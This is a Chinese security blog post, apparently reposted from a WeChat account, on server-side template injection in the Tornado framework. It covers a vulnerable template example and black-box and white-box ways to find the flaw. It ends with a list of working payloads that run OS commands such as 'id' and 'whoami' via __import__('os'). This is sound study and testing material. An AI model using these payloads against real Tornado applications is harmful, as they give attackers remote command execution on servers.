SSTI-Tornado
01
先·河
Tornado就是一个python的web服务框架。
一个简单的服务:
import tornado.ioloop, tornado.web
class IndexHandler(tornado.web.RequestHandler):
def get(self):
print(self.get_argument('a'))
self.write("get!")
app = tornado.web.Application(
[('/', IndexHandler)],
)
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
上面使用requestHandler模块来处理请求。使用get可传参a。
然后是根路径。self.get_argument是一个获取参数的方法,比如我在前端写axios方法传参数a。这个时候就可以用self.get_argument获取到参数。
拿一段简单的代码为例:
02
前·瞻
先看一个漏洞版本:
import tornado.template as template
payload = "{{1+1}}"
print(template.Template(payload).generate())
为什么SSTI这么少呢?
拿我的二开项目为例:
这个时候我们构造vul_name=2*2
点击发送邮件就可以生成模板文件到邮箱:
可以看到我们传入的参数到generate里面并没有被渲染,而只是一个值(参考SQL注入的参数化查询),因而这儿是不存在漏洞的。
假想漏洞情况:
如果后台权限足够,用户可控制alert.html如下:
然后此时点击发送邮件(命令执行成功):
03
扩·展
怎么样才能挖到SSTI漏洞呢?
回顾先河,可以预料到,要想SSTI必须在第一次渲染就控制并传入恶意poc.
也就是说黑盒:
识别并判断系统使用了tornadoweb组件:
分析系统的功能模块:
比如发送邮件,或者部署官网主页这种功能,很多时候都用了模板功能:
跟XSS漏洞类似,传入什么东西进去就会输出什么内容就可能存在(不过呢很少概率会传入的直接在load()函数内),因而仍需关注能编辑模板文件的地方。
白盒:
可全局搜索以下内容:
from tornado import template
template.Loader
template.
然后定位到关键模板解析的地方,识别是否存在漏洞:
上面alert.html不可控,因而不存在SSTI漏洞。
04
总·结
利用条件:需要用户可控模板的文件或内容(此处内容需要在load函数中直接传入)。
可回显的payload:
{% set return __import__("os").popen("id").read()%}
无回显:
{{ __import__("os").system("whoami") }}
{% apply __import__("os").system %}id{% end %}
{% raw __import__("os").system("whoami") %}
校验payload:
{{ *expr* }} 例如{{2*2}}
{% raw *expr* %} 中间可写任意python语句
{% apply *function* %}...{% end %} 可执行任意python语句
学习参考:
https://www.tr0y.wang/2022/08/05/SecMap-SSTI-tornado/#ssti-in-tornado.template
监制丨船长、铁子
策划丨Cupid
美工丨molin
原文始发于微信公众号(千寻安服):SSTI-Tornado
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论